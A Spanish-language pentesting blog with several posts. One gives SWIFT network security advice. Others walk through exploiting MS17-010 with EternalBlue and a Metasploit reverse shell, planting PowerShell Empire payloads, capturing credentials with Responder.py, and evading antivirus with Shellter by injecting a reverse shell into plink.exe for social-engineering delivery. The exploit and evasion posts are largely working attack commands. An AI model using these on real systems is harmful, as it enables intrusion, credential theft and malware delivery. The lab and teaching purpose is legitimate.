SWIFT SWIFTNet Hacking en Redes Bancarias

Luego de ver la noticia del hackeo del banco de chile, lean la publicación de la nota de Cesar Farro que lo detalla desde su perspectiva externa, me animé a escribir algo referente a ello, ya que es casi un año que vengo involucrado en realizar análisis de seguridad y vulnerabilidades a redes SWIFT justamente.

Como detrás de este tipos de servicios existen NDA vigentes, voy a ser bastante pragmático al respecto, emitiendo lineamientos que desde mi punto de vista personal, y que tendrían que ser de sentido común para este tipo de redes y al final conclusiones al respecto.

Al grano, normalmente siempre se tiene la perspectiva por fuera y no necesariamente por dentro, ya que como se entenderá son arquitecturas muy cerradas y no en lo tecnológico necesariamente ( si no pregunten el al banco de Chile 😀 ) digo esto por que al final terminamos hablando de los mismos componentes de siempre, como sistema operativos Windows, Unix, estaciones de trabajo, aplicaciones web, bases de datos, es decir nada que en una red empresarial deja de tener, empecemos desmenuzando la idea.

1.- QUE ES SWIFT ?
De pronto lo que uno mas conoce es el famoso código SWIFT para realizar transferencias internacionales, detrás de ello esta la “Society for Woldwide Interbank Financialla cual provee hardware/software que articula mediante programas y regulaciones en general toda esta actividad a la cual están afectas las entidades bancarias.

Dentro de los lineamientos se establecen arquitecturas de uso que pueden tener las entidad bancarias que se detallan a continuación :

Arquitectura A1 Full Stack
La interfaz de mensajería como la de comunicación están dentro del entorno del usuario. Este tipo de arquitectura también incluye soluciones alojadas donde el usuario tiene las licencias para la interfaz de mensajería y la interfaz de comunicación.

Arquitectura A2 Partial Stack
La interfaz de mensajería está dentro del entorno del usuario, pero un proveedor de servicios (para ejemplo, una agencia de servicios, SWIFT Alliance Remote Gateway o un centro de grupo) es licencia y administra la interfaz de comunicación. Arquitectura A3 – Connector
La aplicación de software (por ejemplo, Alliance Lite2 AutoClient, soluciones de transferencia de archivos) es utilizado en el entorno del usuario para facilitar la comunicación de aplicación a aplicación con una interfaz en un proveedor de servicios. Arquitectura B – No local user footprint
No se utiliza ningún componente de infraestructura específico de SWIFT dentro del entorno del usuario.
Fuente : https://www.accesspay.com/wp-content/uploads/2017/09/SWIFT_Customer_Security_Controls_Framework.pdf

2.- LOS CONTROLES
Dentro de las regulaciones a nivel de gestión de SWIFT solicita y obliga a cumplir los 27 controles ( obligatorios y recomendados) los mismos que están indicados en el “SWIFT Customer Security Controls Framework” al cual se puede acceder públicamente y además los empleados cursos como por ejemplo el “Customer security programme” entre otros.
Un detalle que se puede identificar en este contexto, es que las entidades tienen que  cumplir todos los controles y no solo los obligatorios ya que el común es pensar con eso ya están aprobando, cuando es todo lo contrario.

Sobre el cumplimiento de los controles, desde mi punto de vista, si bien es cierto en general la especificación de los controles es buena, sin embargo también muchos de los controles son muy ambiguos y poco precisos.

Basado en ello, un auditor/empleado que solo conoce la parte de gestión, puede interpretar de manera muy ligera los mismos, por ejemplo hacer cumplir un control determinado con solo con un procedimiento general, por el contrario alguien que maneja de parte de ingeniería/técnica la va interpretar de manera mas puntual, por ejemplo con una captura de pantalla del sistema o componente técnico, donde se muestra que se hace efectivo el control.

Para finalizar este punto indicar que la red SWIFT de la entidad va ser tan antigua como la misma lo permita en funcion a lo de siempre, no actualizar su arquitectura.

3- Evaluaciones de Cyberseguridad
Dentro de los controles de SWIFT se exige que es necesario hacer una evaluación de Ciberseguridad / Ethical Hacking a todos los componentes que involucran la arquitectura SWIFT. Por otro lado también a nivel de regulador bancario en el caso del Perú por ejemplo es la SBC que también lo exige, entonces tienen por lo menos dos servicios que tienen que ejecutar en diferentes ámbitos.

En ese sentido, es clave definir bien los activos a evaluar, sistemas involucrados, las actividades contempladas y horarios de ejecución, es decir es necesario definir bien el alcance, de lo contrario como en otros ámbitos, este punto solo será un puro formalismo a cumplir en el informe como desarrollar un escaneo o un análisis de vulnerabilidades automatizado que pasa a los informes.

4.- CONCLUSIONES Y RECOMENDACIONES

– Contar con la zona segura exclusiva/aislada de todo y textualmente de TODO sin ningún tipo de enlace hacia la red empresarial y hacia internet, esto es fundamental pero es muy difícil sobre todo por temas en primera instancia de flexibilidad, recordar el viejo dicho “mientras mas mas seguro menos flexible” y por otro lado de presupuesto, ya que estamos hablando para comenzar de tener toda la parte de switching, firewall, controladores de dominio y demás dispositivos de la arquitectura, exclusivos para la red SWIFT totalmente separado y con una función única.

– PC de operador de uso exclusivo, es decir solo para uso de SWIFT, evitar uso de servidores de salto, maquinas virtuales, citrix, escritorios remotos y demás elementos, como sabemos la mayor brecha de seguridad la producen los usuarios finales e inevitablemente se tiene que usar Windows (ojo aquí con las actualizaciones de seguridad), es recomendable primero que las PC de operador que acceden a los aplicativos SWIFT sean de uso exclusivo para ello y estén dentro de la zona segura , evidentemente siguiendo estándares de aseguramiento muy rígidos (Que normalmente no lo aplican no solo a nivel del sistema operativo, si no a nivel físico, ejemplo, contraseña de bios, desactivar USB, no tener software innecesario, no tener salida a internet entre otras.

– Uso de doble factor de autenticación, uso de tokens RSA para no solo autenticar hacia las aplicaciones, si no también a nivel de sistema operativo de los PC operador, reduce la brecha de riesgo.

– Servidores de producción SWIFT , Desde mi punto de vista usar servidores Windows para los servidores de producción y respaldo que exige SWIFT, es un error, cuando es sabido que Solaris/Unix ofrecen una menor brecha de seguridad en cuanto a vulnerabilidades reportadas.

– Software de Mensajería SWIFT y arquitectura general SWIFT va ser tan actualizada o no, como la entidad bancaria lo decida, SWIFT provee actualizaciones bastante constantes por ejemplo para el software de mensajería, mediante boletines y es labor de los responsables estar capacitados para realizar ello.

Finalmente basado en lo que he visto la mayor brecha de seguridad esta en no tener una red segura, usuarios operadores con estaciones Windows multiproposito y el y uso Windows en los servidores de mensajería.

Espero les sirva.
Saludos
Juan Oliva

 

 

 

 

Anuncios

Explotando Vulnerabilidad MS17-010 o WannaCry

El pasado 12 de Mayo durante el desarrollo del Peruhack en Lima-Perú estallaba la noticia de un ataque global del ahora famoso ramsomware “Wanacry”  arrasando múltiples empresas, grandes y extra grandes.

La duda es, como funciona Wanacry ?
El punto de entrada inicial no era muy diferente a los ramsomware que han aparecido anteriormente y se trata de infección via corre electrónico atraves de adjuntos con malware que explotaba una vulnerabilidad hasta esa fecha “no tan conocida” luego se expandía por la redes colindantes explotando la misma vulnerabilidad.

Ello es en resumen, técnicamente hablando , la vulnerabilidad que explotada por el ransomware WanaCrypt0r o WanaCry es la denominada por el boletin oficial de Microsoft como MS17-010 la cual afecta primordialmente a Windows 7 y Windows 2008 server que fue remediada por Microsoft el 14 de marzo es decir existe un parche desde esa fecha. El tema es que existe una herramienta llamada “EternalBlue” liberada por ShadowBrokers ( un grupo de hackers involucrados en el hackeo a la NSA) la cual explota la vulnerabilidad y afecta al protocolo SMB ( Servicio para compartir archivos e impresoras) que ahora está portada a Mestasploit por Elevenpaths.

Es por ello que su propagación fue masiva debido a que basta que una sola maquina se infecte para que se propague en toda una red LAN.

A continuación vamos a hacer una prueba de concepto paso a paso de como se explota la vulnerabilidad y luego aplicaremos el parche y probaremos nuevamente.

Escenario
Atacante : Kali Linux 2016_1 / IP 192.168.56.102
Atacado : Windows 7 64Bits / IP 192.168.56.101

1- Detección de Vulnerabilidad MS17-010 (Wanacry) con Nmap
cd /usr/share/nmap/scripts
wget https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse
nmap -d -sC -p445 –script smb-vuln-ms17-010.nse 192.168.56.101

Como se puede ver el scrip de nmap nos indica que el sistema operativo es vulnerable a ms17-010 ,con la confirmación vamos a explotar.

2- Explotando la Vulnerabilidad MS17-010 (Wanacry) con Metasploit

2.1- Instalación del exploit Eternalblue-Doublepulsar en Metasploit

cd /root
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cp /root/Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

2.2..- Atacando Windows 7 64Bits vulnerable

msfconsole
use exploit/windows/smb/eternalblue_doublepulsar
show info
show targets
set TARGET 8
set PAYLOAD windows/meterpreter/reverse_tcp
set PROCESSINJECT explorer.exe
set LHOST 192.168.56.102
set LPORT 4444
set RHOST 192.168.56.101
exploit

Como vemos se genera la sesión de Meterpreter

2.1- Aplicando Parche y Probando que la vulnerabilidad

2.1- Aplicando Parche UPDATE de seguridad para MS17-010

Descargamos la actualización oficial desde :

http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212

Aplicamos el parche

2.2- Validando que la vulnerabilidad fue parchada

Validando con Nmap

Validando nuevamente con Metasploit

Como vemos luego de a ver aplicado el parche ya no es posible tomar el control del sistema, asi que a realizar las actualizaciones antes que se infecten.

Saludos
Juan Oliva
@jroliva

 

Powershell Empire tomando el control de Windows 8.1

EmpireDurante las labores de un proyecto de Ethical Hacking / Pentesting, es necesario desarrollar en actividades que involucran, ataques de ingeniería social y/o  ataques del lado del cliente.

En cualquier de los casos, la actividad a desarrollar es comprometer el computador de los usuarios evaluados, con el objetivo de validar la educacion informatica de los usuarios frente a este tipo de ataques y también que tan buenos son los controles de malware y/o antivirus locales o instalados en el perímetro.

Para estos casos una de las herramientas que en la practica tiene mucho éxito es Powershell Empire.

empire

 

 

 

 

 

 

Powershell Empire como sus propios creadores lo denominan es un agente de Post-explotación que implementa la capacidad de ejecutar agentes de PowerShell sin necesidad de powershell.exe  cuenta con módulos de post-explotación que son rápidamente desplegables que van desde key loggers a Mimikatz,

Instalarlo sobre Kali Linux es muy sencillo, basta con hacer un git clone de repositorio :

https://github.com/adaptivethreat/Empire.git

P.O.C. De demostración

 

Evidentemente ese bat es posible convertirlo a un archivo EXE y camuflarlo cambiándole el icono, con lo cual tendríamos un archivo mucho mas atractivo para el usuario final.

En un segundo post, veremos como generar una macro con Empire para infectar un archivo de MS. Office.

Saludos
Juan Oliva

Capturando Credenciales con Responder.py

responderResponder.py , es una herramienta desarrollada por Trustwave SpiderLabs, la cual  puede responder a las consultas LLMNR y NBT-NS dando su propia dirección IP como destino para cualquier nombre de host solicitado.

Pero Cómo trabaja ?

Para entender como trabaja, es necesario conocer como funcionan las peticiones de recursos de red en una red Windows, ya que justamente, es posible abusar del comportamiento predeterminado de los servicios de resolución de nombres que usa Microsoft Windows con el objetivo de robar credenciales de autenticación.

Desmenuzando el comportamiento

Si un cliente de Windows no puede resolver un nombre de host utilizando el servicio DNS, este utilizará el protocolo de resolución de nombres de multidifusión o mejor llamado “LLMNR” para pedir a los equipos vecinos resolver las direcciones IPv4 e inclusive bajo IPv6.

Si la solicitud usando LLMNR falla, se utilizará el protocolo NetBios Name Service o NBT-NS el cual cumple el mismo objetivo que el anterior. 

Entonces, cuando un host utiliza LLMNR o NBT-NS para resolver una solicitud de un recurso de red, es posible que cualquier host de la red que conozca la dirección IP del host al que se le pregunte puede responder. Incluso si un host responde a una de estas solicitudes con información incorrecta, todavía se considerará como legítimo, en esa etapa en donde se sitúa la herramienta Responder.py para capturar credenciales.

Gráficamente sería lo siguiente:

responder

Responder.py no solo para LLMNR o NBT-NS

Responder.py por si fuera poco, además viene con varios servidores de autenticación falsos (HTTP/SMB/MSSQL/FTP/LDAP) que soportan NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP y autenticación HTTP básica.

Para qué sirve en un servicio de Pentesting ?

eh

 

 

 

 

 

Para los que nos dedicamos a esto, sabemos que la captura de credenciales mediante fuerza bruta es un proceso que difícilmente se puede realizar con buenos margenes de éxito debido al corto tiempo con el que se cuenta, en este caso Responder.py surge como una técnica muy buena para ello, poder realizar captura de credenciales y conseguir ingresar a estaciones y/o servidores además de realizar post explotación evidentemente.

P.O.C. Veamos una demo del funcionamiento.

Mas adelante veremos otros de escenarios de aplicacion de responder.py durante un pentesting.

Saludos
Juan Oliva

 

Evadiendo Antivirus con Shellter y Metasploit

shellter

Las técnicas para evación de antivirus son muy diversas y cada vez evolucionan , sin embargo cada cierto tiempo aparecen nuevas técnicas unas mas buenas que otras.

Shellter, es una herramienta de inyección de shell dinámica, según sus autores, probablemente el primero infecta PE dinámico, se puede utilizar para inyectar shells en programas para  Windows basados en 32bits ( programas en 32bits) sin embargo esto no representa una limitante, ya que es muy usual tener Windows a 64bits y tener instalado programas a 32bits.

Shellter aprovecha la estructura original del PE en los archivos y no aplica ninguna modificación, añade una sección extra con RWE , además usa un enfoque dinámico único,  lo cual lo hace imperceptible por los antivirus.

Vamos a ver como es su uso:

1.- ESCENARIO

Kali Linux en la IP 192.168.1.36
Windows 7 con AVG Antivirus en la IP 192.168.1.35

hackingwindows

2.- SETUP
Es necesario descargar shellter desde la pagina https://www.shellterproject.com/download/  en esta caso usaremos la versión 4.0

wget http://www.silcom.com.pe/soft/shellter.zip   ( Sitio alternativo)
unzip shellter.zip
mv shellter /usr/share/

3.- INICIAR SHELLTER
– Vamos a usar el archivo “plink.exe” el cual se ubica en Kali Linux y moverlo a la carpeta donde tenemos shellter .

cp /usr/share/windows-binaries/plink.exe /usr/share/shellter/

shellter
– Luego iniciaremos shellter de la siguiente forma:

wineconsole shellter.exe

shellter

4.- CONFIGURACIÓN DE SHELLTER

– Escojer modo automatico con la opción “A”

shellter

– Luego indicaremos el programa al cual le inyectaremos el shell code el cual es el archivo plink.exe previamente copiado.

PE Targer : plink.exe

shellter

– Luego cuando aparezca la lista de payloads elegir la opción “L”
Use a listed payload or custom: L

shellter
– Luego elegir la opcion “1”
Select payload by index: 1

shellter

– Ahora configuraremos los datos de retorno del shell reverso

set LHOST : 192.168.1.36 ( IP de Kali Linux)
set LPORT : 5555 ( Puertos donde retornará la shell

shellter

– Finalmente si todo salio bien, tendremos un mensaje “Inyection Verified” y luego presionamos “Enter” y finalizaremos shellter.

shellter
Con esto hemos conseguido que el archivo plink.exe esté infectado con el shell reverso.

5.- ACTIVANDO EL HANDLER CON METASPLOIT

– Iniciamos con msfconsole

shellter

– Ahora pondremos a la escucha el handler en el puerto 5555

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.36
set lport 5555
exploit

shellter

6.- AHORA VAMOS AL WINDOWS Y PROBAMOS

– Mediante alguna técnica de ingeniería social ( y de esas hay muchas) conseguimos que el archivo “plink.exe”  sea ejecutado en la víctima.

shellter

– Como podemos ver tenemos una bonita sesión de meterpreter 😀 sin que el antivirus reaccione.

shellter
– Ahora podemos hacer un par de cosas

shellter

shellter

Bueno ya estamos adentro, la herramienta se ve prometedora.

UPTADE 03/2016
Para ejecutar shellter en Kali 2016.1 es necesario correr lo siguiente antes de wineconsole shellter.exe:

dpkg –add-architecture i386 && apt-get update && apt-get install wine32

Espero les sirva
Juan Oliva
@jroliva